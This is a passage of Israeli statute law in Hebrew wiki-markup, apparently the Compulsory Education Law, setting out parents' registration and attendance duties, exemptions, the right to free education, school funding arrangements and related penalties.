{{ח:תת|(א)}} הורים של ילד בגיל 3 עד 5 חייבים, כל אחד מהם, לרשמו, במועד ובאופן שנקבע בתקנות, ברשות החינוך המקומית שבתחום שיפוטה גר הילד. רשמו אחד מהם – השני פטור.
{{ח:תת|(אא)}} הורים של ילד בגיל 6 ומעלה או של נער בגיל לימוד חובה חייבים, כל אחד מהם, לרשום את הילד או את הנער, כמפורט בסעיף־קטן (ב), במוסד חינוך או ברשות חינוך מקומית כאמור {{ח:חיצוני|חוק חינוך ממלכתי#סעיף 20|בסעיפים 20}} {{ח:חיצוני|חוק חינוך ממלכתי#סעיף 21|ו־21 לחוק חינוך ממלכתי, תשי״ג–1953}}. רשם אחד מהם את הילד או את הנער – השני פטור.
{{ח:תת|(ב)}} לפי סעיפים קטנים (א) ו־(אא) יש לרשום –
{{ח:תתת|(1)}} {{ח:הערה|(בוטלה);}}
{{ח:תתת|(2)}} ילד שבראשית שנת הלימודים תשי״ד או בראשית כל שנת לימודים שלאחריה יהיה בגיל 6 – במועד שנקבע בתקנות;
{{ח:תתת|(3)}} ילד בגיל לימוד חובה או נער בגיל לימוד חובה שהגיע לארץ כעולה – תוך שלושים יום מיום העליה;
{{ח:תתת|(4)}} ילד בגיל לימוד חובה או נער בגיל לימוד חובה שהעתיק את מקום מגוריו מתחום השיפוט של רשות חינוך מקומית אחת לתחום השיפוט של רשות חינוך מקומית אחרת – תוך שלושים יום מהיום בו העתיק הילד או הנער את מקום מגוריו;
{{ח:תתת|(5)}} ילד בגיל לימוד חובה, או נער בגיל לימוד חובה, הגר בתחומה של רשות חינוך מקומית שאין בה מוסד חינוך רשמי ואותה רשות הודיעה, באופן שנקבע בתקנות, כי היא עומדת לפתוח מוסד כזה – תוך שלושים יום מיום ההודעה.
{{ח:תת|(ג)|(1)}} נותן עבודה המקבל לעבודה נער בגיל 15 ומעלה חייב להודיע על כך בכתב, תוך שבעה ימים מיום קבלת הנער לעבודה, לרשות החינוך המקומית שבתחום שיפוטה גר הנער.
{{ח:תתת|(2)}} נותן עבודה המפסיק עבודתו של נער בגיל 15 ומעלה חייב להודיע על כך בכתב, תוך שבעה ימים מיום הפסקת העבודה, לרשות החינוך המקומית שבתחום שיפוטה גר הנער.
{{ח:תתת|(3)}} {{ח:הערה|(בוטלה).}}
{{ח:תת|(ד)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ה)}} סעיף קטן (ג) לא יחול לגבי נער כאמור –
{{ח:תתת|(1)}} שסיים את לימודיו לפי תכנית של לימודים בכיתה י״ב;
{{ח:תתת|(2)}} {{ח:הערה|(בוטלה);}}
{{ח:תתת|(3)}} שהוא חניך לפי {{ח:חיצוני|חוק החניכות|חוק החניכות, תשי״ג–1953}}.
{{ח:תת|(ו)}} העובר על הוראות סעיף קטן (א), (ב) או (ג) – דינו מאסר עד ארבעה עשר יום או קנס עד עשר לירות או שני הענשים כאחד; אך אם הילד או הנער שביחס אליו נעברה העבירה מועסק בעבודה, דין העובר – מאסר עד עשרים ושמונה ימים או קנס עד עשרים לירות או שני העונשים כאחד.
{{ח:תת|(ז)}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|3א|סמכויות השר בקשר לרישום|תיקון: תש״י־2}}
{{ח:תת|(א)}} לא התחילה רשות חינוך מקומית מסויימת לערוך רישום לפי חוק זה והתקנות שהותקנו על פיו, תוך עשרה ימים מהמועד שנקבע לכך, או שהיה לשר יסוד להניח שאין בדעתה או ביכלתה לערוך רישום כאמור – רשאי הוא לצוות, בצו שיפורסם בדרך הנראית לו, שאותה רשות חינוך מקומית לא תערוך עוד רישום כאמור, ושהרישום ייערך על ידי מי שהשר יקבע, ובמועד ובאופן שהשר יקבע.
{{ח:תת|(ב)}} היה לשר יסוד להניח שרישום, או רישום מחדש, שנערך על ידי רשות חינוך מקומית מסויימת, נערך שלא בהתאם לחוק זה ולתקנות שהותקנו על פיו – רשאי הוא, בצו שיובא לידיעת הנוגעים בדבר בדרך הנראית לו, לבטל אותו רישום, ולצוות שהרישום ייערך מחדש –
{{ח:תתת|(1)}} על ידי רשות החינוך המקומית – במועד שהשר יקבע; או
{{ח:תתת|(2)}} על ידי מי שהשר יקבע – במועד ובאופן שהשר יקבע.
{{ח:תת|(ג)}} ניתן צו לפי סעיף זה לגבי רישום מסויים – חייב כל מי שחובת אותו רישום חלה עליו לפי {{ח:פנימי|סעיף 3|סעיף 3}}, למלא אותה חובה במועד ובאופן שהשר קבע לעריכת הרישום.
{{ח:תת|(ד)}} רישום שנערך שלא על ידי רשות חינוך מקומית, בתוקף צו שניתן לפי סעיף זה – תישא רשות החינוך המקומית בהוצאותיו, שייגבו ממנה בדרך שהשר יקבע; ותעודה חתומה בידי השר הקובעת את סכום ההוצאות האמורות תשמש ראיה חותכת לכך.

{{ח:סעיף|3ב||תיקון: תשנ״א, תשס״א, תשס״א־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|3ג||תיקון: תשנ״ב־2, תשס״א, תשס״א־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|4|חובת לימוד סדיר|תיקון: תשכ״ט, תשכ״ט־2, תשל״א, תשל״ב, תשל״ו, תשל״ח, תשנ״ו, תשס״ד־2, תשס״ז־2}}
{{ח:תת|(א)}} הורים של ילד בגיל לימוד חובה, או של נער בגיל לימוד חובה חייבים, כל אחד מהם, לדאוג לכך שהילד או הנער ילמד באופן סדיר במוסד חינוך מוכר.
{{ח:תת|(ב)|(1)}} לא למד ילד או נער עד גיל 15 באופן סדיר במוסד חינוך מוכר, דינו של כל אחד מהוריו מאסר שני חדשים או קנס אלף לירות, זולת אם הוכיח מעל לכל ספק סביר שעשה כמיטב יכולתו כדי שהילד או הנער ילמד כאמור.
{{ח:תתת|(2)}} לא יובא אדם לדין לפי סעיף קטן זה, אלא לאחר שמנהל מוסד החינוך המוכר בו רשום הילד או הנער שלח לו בדואר רשום הודעה בכתב שהילד או הנער לא למד כאמור, ואף לאחר משלוח ההודעה לא למד הילד או הנער, כאמור, בזמן מן הזמנים; ולא יובא אדם לדין לפי סעיף קטן זה אלא לאחר שעברו שבעה ימים מיום משלוח ההודעה.
{{ח:תתת|(3)}} בית המשפט הדן בעבירה לפי סעיף קטן זה ישמע בכל מקרה את חוות דעתו של עובד סוציאלי כהגדרתו {{ח:חיצוני|חוק העובדים הסוציאליים|בחוק העובדים הסוציאליים, התשנ״ו–1996}} או את חוות דעתו של קצין ביקור סדיר, וכן במידת האפשר את חוות דעתו של היועץ הפסיכולוגי העובד בבית הספר שבו לומד הילד; לענין פסקה זו, ”קצין ביקור סדיר“ – עובד המדינה או עובד רשות מקומית ששר החינוך והתרבות הסמיכו לענין זה.
{{ח:תת|(ג)|(1)}} נותן עבודה המעסיק ילד בגיל לימוד חובה, או נער בגיל לימוד חובה אשר טרם סיים את החינוך היסודי, חייב לשחרר את הילד או את הנער מהעבודה, בלי לנכות משכרו, בימים ובשעות המיועדים ללימוד הילד או הנער, הכל כפי שייקבע בתקנות.
{{ח:תתת|(2)}} נותן עבודה שעבר על הוראות סעיף קטן זה, דינו –
{{ח:תתתת|(I)}} על עבירה ראשונה – מאסר עד ארבעה עשר יום או קנס עד עשר לירות או שני הענשים כאחד;
{{ח:תתתת|(II)}} על עבירה נוספת – מאסר עד עשרים ושמונה ימים או קנס עד עשרים לירות או שני הענשים כאחד.
{{ח:תתת|(3)}} בית־משפט הדן בעבירה לפי סעיף קטן זה, ישמע בכל מקרה את חוות־דעתו של אדם הכשיר לעבודה סוציאלית, כמשמעותו {{ח:חיצוני|חוק שירותי הסעד|בחוק שירותי הסעד, תשי״ח–1958}}, וכן במידת האפשר את חוות־דעתו של היועץ הפסיכולוגי העובד בבית הספר שבו לומד הילד.
{{ח:תת|(ד)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ה)}} יצא אדם חייב בדין על עבירה לפי סעיף זה, והוכח לבית המשפט כי בזמן היעדר מן הלימודים, אשר בגללו יצא חייב בדין, הועסק הילד או הנער בעבודה בשכר, רשאי בית המשפט להטיל על אותו אדם, נוסף על כל עונש אחר, קנס שלא יעלה על שכר עבודתו של הילד או של הנער באותו זמן.
{{ח:תת|(ו)}} הוכח לשר כי – ילד או נער שבעטיו שלמו הוריו קנס על עבירה לפי סעיף קטן (ב), למד באופן סדיר במוסד חינוך מוכר במשך שנה אחת לאחר הטלת הקנס, יהיה השר רשאי לצוות על החזרת הקנס למשלמו, והקנס יוחזר כמצווה.
{{ח:תת|(ז)}} ילד בגיל לימוד חובה או נער בגיל לימוד חובה, הרשום במוסד חינוך מוכר, ובלי סיבה מספקת –
{{ח:תתת|(1)}} נעדר מלימודיו לעתים כה תכופות עד שלדעת מנהל מוסד החינוך יש בכך משום הפרעה רצינית ללימודיו; או
{{ח:תתת|(2)}} נעדר מלימודיו שבעה ימי לימוד רצופים,
{{ח:תת}} רואים אותו כאילו לא למד במוסד החינוך באופן סדיר, ומנהל מוסד החינוך ישלח אל הוריו של הילד או של הנער הודעה כאמור בסעיף קטן (ב)(2) ויעביר העתק ממנה לרשות החינוך המקומית.

{{ח:סעיף|4א||תיקון: תשל״ב־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|4ב||תיקון: תשל״ב־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|4ג||תיקון: תשל״ב־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|4ד||תיקון: תשל״ב־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|4ה||תיקון: תשל״ב־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|5|פטור|תיקון: תשל״ב־2, תשס״ח־3, תשע״ג, תשע״ג־2, תשע״ו־2}}
{{ח:תת|(א)}} השר רשאי להורות, בהוראה שתפורסם ברשומות, כי ההורים של ילדים ושל נערים, וכן הנערים עצמם, הלומדים באופן סדיר במוסד חינוך המתואר באותה הוראה, ואינו מוסד חינוך מוכר – יהיו פטורים מן החובות המוטלות עליהם לפי {{ח:פנימי|סעיף 4|סעיף 4}}; השר רשאי לקבוע, בתקנות, הוראות ותנאים שעל מוסד חינוך לקיימם לצורך מתן הוראת פטור לגביו לפי סעיף קטן זה, ובכלל זה לעניין הפעלת המוסד.
{{ח:תת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה)|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ״ד–2024}}.}}
{{ח:תת|(א1)}} הורים של ילדים או של נערים, וכן הנערים עצמם, הלומדים באופן סדיר במוסד חינוך תרבותי ייחודי כהגדרתו {{ח:חיצוני|חוק מוסדות חינוך תרבותיים ייחודיים|בחוק מוסדות חינוך תרבותיים ייחודיים, התשס״ח–2008}}, יהיו פטורים מן החובות המוטלות עליהם לפי {{ח:פנימי|סעיף 4|סעיף 4}}.
{{ח:תת|(ב)|(1)}} השר רשאי להורות, בהוראה כללית או מיוחדת, כי ההורים ונותן העבודה של ילד או של נער, וכן הנער עצמו, יהיו פטורים מן החובות המוטלות עליהם לפי {{ח:פנימי|סעיף 4|סעיף 4}}, אם –
{{ח:תתתת|(I)}} קיימים, לדעת השר, טעמים מיוחדים לכך שהילד או הנער לא ילמד במוסד חינוך מוכר, והילד או הנער מקבל באופן פרטי לימוד שיטתי המניח את דעת השר; או
{{ח:תתתת|(II)}} השר משוכנע שאין הילד או הנער מסוגל ללמוד באופן סדיר במוסד חינוך מוכר;
{{ח:תתת|(2)}} בהוראה לפי סעיף קטן זה רשאי השר לקבוע כל תנאי וכל סייג הנראים לו;
{{ח:תתת|(3)}} מי שניתנה עליו הוראת פטור לפי סעיף זה, לא יחולו לגביו הוראות {{ח:פנימי|סעיף 6|סעיפים 6}}, {{ח:פנימי|סעיף 7|7}}, {{ח:פנימי|סעיף 10|ו־10}} אלא בכפוף לתנאים ולסייגים שבהוראת הפטור, ובלבד שתישמר החובה לספק לילד או לנער לימודים במסגרת שקבע השר בכל מקרה שהילד או הנער מסוגל לכך.

{{ח:קטע2|פרק 3|פרק שלישי: לימוד חינם}}

{{ח:סעיף|6|זכות לימוד חינם|תיקון: תשכ״ט־2, תשל״ו, תשל״ח, תשל״ח־3, תש״ם, תשמ״א, תשמ״ח־2, תשנ״ד־2, תשנ״ד־3, תשס״ז־2, תשע״ו}}
{{ח:תת|(א)}} אלה זכאים לחינוך חינם במוסד חינוך רשמי:
{{ח:תתת|(1)}} מי שחל עליו לימוד חובה לפי חוק זה, זולת אם סיים את לימודיו לפי תכנית לימודים בכיתה י״ב;
{{ח:תתת|(2)}} מי שבגיל 18 ולא סיים אלא לימודים לפי תכנית לימודים בכיתה י״א.
{{ח:תת|(א1)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ב)}} השר רשאי לזכות בחינוך חינם בנוסף על האמורים בסעיף קטן (א) את מי שטרם השלים לימודיו לפי תכנית של לימודים בכיתה י״ב, עד שישלים אותם, לפי כללים, מבחנים, תנאים וסייגים שנקבעו בתקנות, בהתייעצות עם ועדת החינוך והתרבות של הכנסת.
{{ח:תת|(ג)}} על אף האמור בסעיף קטן (א) רשאי השר, בצו, להורות כי מי שלא ניתן, לדעת השר, להבטיח לימודיו במוסד חינוך רשמי – ילמד במוסד חינוך אחר, ואוצר המדינה ישא בשכר לימודיו במוסד כאמור, בתנאים שנקבעו בצו האמור.
{{ח:תת}} {{ח:הערה|פורסם {{ח:חיצוני|צו לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי)|צו לימוד חובה (חינוך חינם שלא במוסד חינוך רשמי), תשל״ח–1978}}.}}
{{ח:תת|(ד)}} מי שזכאי לחינוך חינם לפי סעיף זה, לא ידרשו בעדו דמי הרשמה או כל תשלום אחר בעד לימודיו במוסד חינוך רשמי או בעד לימודיו במוסד חינוך אחר שאוצר המדינה נושא בשכרם לפי סעיף קטן (ג); ואולם רשות החינוך המקומית שבתחום שיפוטה נמצא מוסד החינוך שבו הוא לומד, ובמוסד חינוך שאינו רשמי – רשות החינוך המקומית כאמור או בעל המוסד, יהיו רשאים, באישור השר, לגבות תשלומים והחזר הוצאות, בשיעורים שהשר יקבע, בעד אספקה שהם נותנים לו, ובעד שירותים שהם נותנים לו נוסף על השירותים אשר השר הגדיר אותם בתקנות כשירותים מקובלים; אישור השר וקביעת שיעור התשלומים והחזר ההוצאות בידי השר טעונים אישור עם ועדת החינוך והתרבות של הכנסת.
{{ח:תת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (שירותים מקובלים)|תקנות לימוד חובה (שירותים מקובלים), תשי״א–1950}}.}}
{{ח:תת|(ד1)|(1)}} מי שזכאי לחינוך חינם לפי סעיף זה יהיה מבוטח בביטוח תאונות אישיות, באמצעות רשות החינוך המקומית שבתחום שיפוטה נמצא מוסד החינוך שבו הוא לומד; רשויות החינוך המקומיות יתקשרו בחוזה ביטוח כאמור עם מי שזכה במכרז שנערך לפי הוראות {{ח:חיצוני|פקודת העיריות#סעיף 198ב|סעיף 198ב לפקודת העיריות}}, ובהתאם להסדר שנקבע {{ח:חיצוני|פקודת העיריות#סעיף 198ב|באותו סעיף}}.
{{ח:תתת|(2)}} במסגרת התשלומים לפי סעיף קטן (ד), יקבע השר לפני פרסום המכרז כאמור בפסקה (1), את התשלום שייגבה מהמבוטחים ויכלול דמי ביטוח אחידים וכן שיעור דמי עמילות מרביים שמבטח יהיה רשאי לשלם לסוכני הביטוח בעד תיווך לעניין הביטוח; בסעיף זה,
{{ח:תתת|סוג=הגדרה}} ”מבטח“ ו”סוכן ביטוח“ – כהגדרתם {{ח:חיצוני|חוק הפיקוח על שירותים פיננסיים (ביטוח)|בחוק הפיקוח על שירותים פיננסיים (ביטוח), התשמ״א–1981}},
{{ח:תתת|סוג=הגדרה}} ו”דמי עמילות“ – כהגדרתם {{ח:חיצוני|חוק הפיקוח על שירותים פיננסיים (ביטוח)#סעיף 41|בסעיף 41 לחוק האמור}}.
{{ח:תת|(ה)}} הוראות סעיף קטן (ד) אינן גורעות מהוראות {{ח:חיצוני|חוק חינוך ממלכתי#סעיף 8|סעיף 8 לחוק חינוך ממלכתי, תשי״ג–1953}}, ובמוסד חינוך שאינו רשמי – מכוחה של התחייבות לשאת בהוצאותיה של תכנית לשעות נוספות על השעות שנקבעו בתכנית הלימודים.
{{ח:תת|(ו)}} למרות האמור בסעיף קטן (ב), כל רשות חינוך מקומית תספק חינם לכל נער, הלומד במוסד חינוך רשמי לנערים עובדים שבתחום שיפוטה, ספרים, מחברות, מכשירי כתיבה ויתר הציוד הדרושים ללימודיו.

{{ח:סעיף|6א|ייעוד כספי תשלומים|תיקון: תשס״ד, תשס״ח־2}}
{{ח:תת|(א)}} תשלומים כאמור {{ח:פנימי|סעיף 6|בסעיף 6(ד) ו־(ד1)}} וכן כל תשלום אחר שהתקבל, במישרין או בעקיפין, ממי שזכאי לחינוך חינם לפי {{ח:פנימי|סעיף 6|סעיף 6}} הלומד במוסר חינוך רשמי או במוסד חינוך אחר שאוצר המדינה נושא בשכר הלימוד בו לפי {{ח:פנימי|סעיף 6|סעיף 6(ג)}}, בין אם הוא תשלום חובה ובין אם הוא תשלום שאינו חובה (בסעיף זה – תשלומים), ישמשו רק למטרות שלשמן נועדו.
{{ח:תת|(ב)}} רשות החינוך המקומית או בעל מוסד חינוך יחזיקו את כספי התשלומים בחשבון בנק נפרד (בסעיף זה – חשבון הבנק) המיועד אך ורק למטרה זו; בסעיף זה, ”חשבון בנק נפרד“ – חשבון בנק נפרד לכל מוסד חינוך שבו ינוהלו כספי התשלומים שהתקבלו בעד תלמידי אותו מוסד.
{{ח:תת|(ג)}} כספים אשר נותרו בחשבון הבנק בסופה של כל שנת לימודים, יוחזרו לתלמידים שמהם נגבו, או ינוכו מהתשלום שעליהם לשלם בשנת הלימודים שלאחריה, במועד ובאופן שיקבע השר, באישור ועדת החינוך והתרבות של הכנסת.
{{ח:תת|(ג1)}} כספי תשלומים המוחזקים בחשבון הבנק יהיו פטורים מעיקול.
{{ח:תת|(ד)}} השר, באישור ועדת החינוך והתרבות של הכנסת, יקבע הוראות לביצוע סעיף זה לרבות בדבר ניהול חשבון הבנק ודרכי הביקורת על ניהולו, וכן בדבר מתן זכות עיון ודיווח להורים ולועד ההורים במוסד החינוך, לענין כספי התשלומים וניהולם.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (ייעוד כספי תשלומים)|תקנות לימוד חובה (ייעוד כספי תשלומים), התשס״ה–2004}}.}}

{{ח:סעיף|7|אחריות למתן חינוך חובה חינם|תיקון: תשכ״ט־2, תשל״ח־3}}
{{ח:תת|(א)}} המדינה אחראית למתן חינוך חובה חינם לפי חוק זה.
{{ח:תת|(ב)}} קיום מוסדות חינוך רשמיים למתן חינוך חובה חינם לפי חוק זה לילדים ולנערים הגרים בתחום שיפוטה של רשות חינוך מקומית מסויימת, יהא מוטל על המדינה ועל אותה רשות חינוך מקומית במשותף. השר, בהתיעצות עם שר הפנים, ועם ועדת החינוך והתרבות של הכנסת יקבע, בצו שיפורסם ברשומות, לגבי כל שנת לימודים ולגבי כל רשות חינוך מקומית, את שיעור ההשתתפות של המדינה ושל רשות החינוך המקומית בקיום מוסדות החינוך הרשמיים שבהם ניתן חינוך חובה לילדים ולנערים הגרים בתחום שיפוטה של אותה רשות חינוך מקומית.
{{ח:תת}} {{ח:הערה|פורסם {{ח:חיצוני|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&amp;quot;ו)|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ״ו), התשפ״ו–2026}}; ראו גם צווים לשנות לימודים קודמות: {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנת הלימודים התשס&amp;quot;ו)|התשס״ו}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנות הלימודים התשס&amp;quot;ט-התש&amp;quot;ע)#סעיף 9|התשס״ט והתש״ע}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים בשנת הלימודים התשע&amp;quot;א)|התשע״א}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ב)|התשע״ב}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ג)|התשע״ג}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ה)#סעיף 9|התשע״ה}}, {{ח:חיצוני|צו לימוד חובה (שיעור ההשתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ז)|התשע״ז}}, {{ח:חיצוני|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ח)|התשע״ח}}, {{ח:חיצוני|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשע&amp;quot;ט)|התשע״ט}}, {{ח:חיצוני|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&amp;quot;ד)|התשפ״ד}}, {{ח:חיצוני|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&amp;quot;ה)|התשפ״ה}}.}}
{{ח:תת|(ג)}} השר רשאי לחייב, בצו, רשות חינוך מקומית, או רשויות חינוך מקומיות אחדות במשותף, לפתוח ולקיים מוסדות חינוך רשמיים לחינוך יסודי.

{{ח:סעיף|7א|תשלומים בעבור תלמידים הלומדים ברשו חינוך מקומית אחרת|תיקון: תשס״ב}}
{{ח:תת|(א)|(1)}} רשות חינוך מקומית, אשר לא קיים בתחומה מוסד חינוך מתאים בעבור ילד או נער המתגורר בתחומה והוא זכאי לחינוך חינם (בסעיף זה – הרשות השולחת), השולחת, בהתאם להוראות סעיף זה, את הילד או הנער למוסד חינוך מתאים הנמצא בתחום שיפוטה של רשות חינוך מקומית אחרת (בסעיף זה – הרשות הקולטת), תשלם את סכום ההשתתפות כאמור בסעיף קטן (ב) (בסעיף זה – סכום ההשתתפות) בשל אותו ילד או נער.
{{ח:תתת|(2)}} הרשות השולחת תשלם את סכום ההשתתפות, לפי הוראות סעיף זה, לרשות הקולטת או לבעל מוסד החינוך המתאים שאליו נשלח הילד או הנער, לפי קביעת הרשות הקולטת.
{{ח:תתת|(3)}} רשות שולחת, השולחת ילד או נער, כאמור בפסקה (1), למוסד חינוך מתאים ברשות קולטת, תשלח אותו למוסד כאמור הסמוך ביותר למקום מגוריו, אלא אם כן קבע השר או מי שהוא הסמיך לכך, בהסכמת הרשות השולחת, ובהתחשב, בין השאר, בהסדרי התחבורה הציבורית, כי ילד או נער יישלח למוסד חינוך מתאים אחר.
{{ח:תתת|(4)}} השר, בהתייעצות עם מרכז השלטון המקומי ובאישור ועדת החינוך והתרבות של הכנסת, יתקין, בכפוף להוראות סעיף קטן (ג), תקנות לענין מוסד חינוך מתאים לצורך סעיף זה; התקנת התקנות תיעשה בהתחשב גם בסוגי מוסדות חינוך, במיקומם ובאזורי מגורים של ילדים או נערים.
{{ח:תת|(ב)}} השר, בהתייעצות עם מרכז השלטון המקומי ובאישור ועדת החינוך והתרבות של הכנסת, יקבע את סכום ההשתתפות, ורשאי הוא לקבוע סכומי השתתפות שונים; קביעה לפי סעיף קטן זה תיעשה, בין השאר, בהתחשב בקיום השתתפות של הרשות השולחת בהוצאות חינוכו של ילד או נער אילו היה לומד במוסד חינוך מתאים בתחומה וכן בסוגי מוסדות חינוך.
{{ח:תת|(ג)}} הוראות סעיף זה יחולו על מוסדות החינוך המפורטים להלן:
{{ח:תתת|(1)}} מוסדות חינוך רשמיים;
{{ח:תתת|(2)}} מוסדות חינוך מוכרים לחינוך על יסודי;
{{ח:תתת|(3)}} מוסדות חינוך של תאגיד מרכז החינוך העצמאי;
{{ח:תתת|(4)}} מוסדות חינוך של תאגיד מרכז מעיין החינוך התורני בארץ ישראל.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (תלמידים הלומדים ברשות חינוך מקומית אחרת)|תקנות לימוד חובה (תלמידים הלומדים ברשות חינוך מקומית אחרת), התשס״ה–2005}}.}}

{{ח:סעיף|8|ארנונה}}
{{ח:תת|(א)}} השר רשאי, בהתיעצות עם שר הפנים, בצו שיפורסם ברשומות, להעניק לועד שהוכר, או לאדם שנתמנה על ידיו כרשות חינוך מקומית, את הסמכות להטיל על תושבי השטח שהוא תחום השיפוט של אותה רשות חינוך מקומית, ולגבות מהם, ארנונה לכיסוי ההוצאות הכרוכות במילוי החובות המוטלות על רשות החינוך המקומית לפי חוק זה.
{{ח:תת|(ב)}} העקרונות שלפיהם תוטל הארנונה ושיעורה – ייקבעו בצו.
{{ח:תת}} {{ח:הערה|פורסם {{ח:חיצוני|צו לימוד חובה (השתתפות בהוצאות קיום מוסד)|צו לימוד חובה (השתתפות בהוצאות קיום מוסד), תשל״ח–1978}}.}}
{{ח:תת|(ג)}} ארנונה כאמור, דינה, בכל הנוגע לגבייתה, כדין מס, כמשמעותו {{ח:חיצוני|פקודת המסים (גביה)|בפקודת המסים (גביה)}}.

{{ח:סעיף|9||תיקון: תשכ״ט־2, תשל״ח־2, תשמ״ח־2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:קטע2|פרק 4|פרק רביעי: זכות הורים לבחור בזרם מוכר}}

{{ח:סעיף|10|זכות הורים לבחור בזרם מוכר|תיקון: תש״י, תשי״ג־2, תשכ״ט־2}}
{{ח:תת|(א)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ב)}} השר רשאי לחייב, בצו, רשות חינוך מקומית, או רשויות חינוך מקומיות אחדות במשותף, לפתוח ולקיים – לפי רצון הורי הילדים או הנערים הגרים בתחום השיפוט של אותה רשות חינוך מקומית או אותן רשויות חינוך מקומיות – מוסד חינוך רשמי לחינוך חובה. הוראות מפורטות בנוגע למתן צווים לפי סעיף קטן זה ייקבעו בתקנות.
{{ח:תת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (מתן צווים לפתיחת מוסדות חינוך ולקיומם)|תקנות לימוד חובה (מתן צווים לפתיחת מוסדות חינוך ולקיומם), תשי״ג–1952}}.}}
{{ח:תת|(ג)|(1)}} הוראות סעיפים קטנים (א) ו־(ב) לא יחולו לגבי מחנות־עולים.
{{ח:תתת|(2)}} השר רשאי לקבוע בתקנות סדרי לימוד במחנות־עולים.
{{ח:תתת|(3)}} בסעיף קטן זה, ”מחנה־עולים“ פירושו – מקום המשמש לאכסון עולים סמוך לעלייתם ועד להשתכנותם שיכון קבוע או ארעי.

{{ח:קטע2|פרק 5|פרק חמישי: הוראות כלליות}}

{{ח:סעיף|10א|תקצוב מוסדות פטורים|תיקון: תשע״ג־2, תשע״ו־2}}
{{ח:ת}} השר, בהתייעצות עם שר האוצר, רשאי לקבוע בתקנות, הוראות ותנאים לעניין השתתפות המדינה בתקציב מוסדות חינוך שניתנה לגביהם הוראת פטור לפי {{ח:פנימי|סעיף 5|סעיף 5(א)}} (בסעיף זה – מוסדות פטורים), ובכלל זה לעניין שיעור ההשתתפות בתקציב כאמור ולעניין הפעלת המוסדות הפטורים, והכול אם יחליט השר כי יש לתקצב מוסדות כאמור.
{{ח:ת}} {{ח:הערה|פורסמו {{ח:חיצוני|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה)|תקנות לימוד חובה (מתן הוראת פטור לגבי מוסד חינוך ותקצובו) (הוראת שעה), התשפ״ד–2024}}.}}

{{ח:סעיף|11|גיל|תיקון: תשל״ח, תשע״ג}}
{{ח:ת}} לצורך חוק זה, רואים אדם כאילו הגיע לגיל מסויים בראשית כל שנת לימודים, אם יגיע לאותו גיל לפני יום 31 בדצמבר שבאותה שנת לימודים.

{{ח:סעיף|12|כרטיסיית ילדים ונערים בגיל לימוד חובה|תיקון: תשל״ח}}
{{ח:ת}} כל רשות חינוך מקומית תנהל כרטיסיה של כל הילדים בגיל לימוד חובה וכל הנערים הגרים בתחום שיפוטה.

{{ח:סעיף|12א|חובת דיווח של מנהל מוסד חינוך|תיקון: תשס״א־3}}
{{ח:תת|(א)}} מנהל מוסד חינוך ידווח, על פי כללים שקבע השר, למי שהשר הסמיכו לענין זה מבין עובדי משרדו, ולמנהל ממחלקת חינוך ברשות המקומית שבתחומה מצוי מוסד החינוך, על אלה:
{{ח:תתת|(1)}} תלמיד הרשום במוסד החינוך שאינו לומד באופן סדיר כאמור {{ח:פנימי|סעיף 4|בסעיף 4(ז)}};
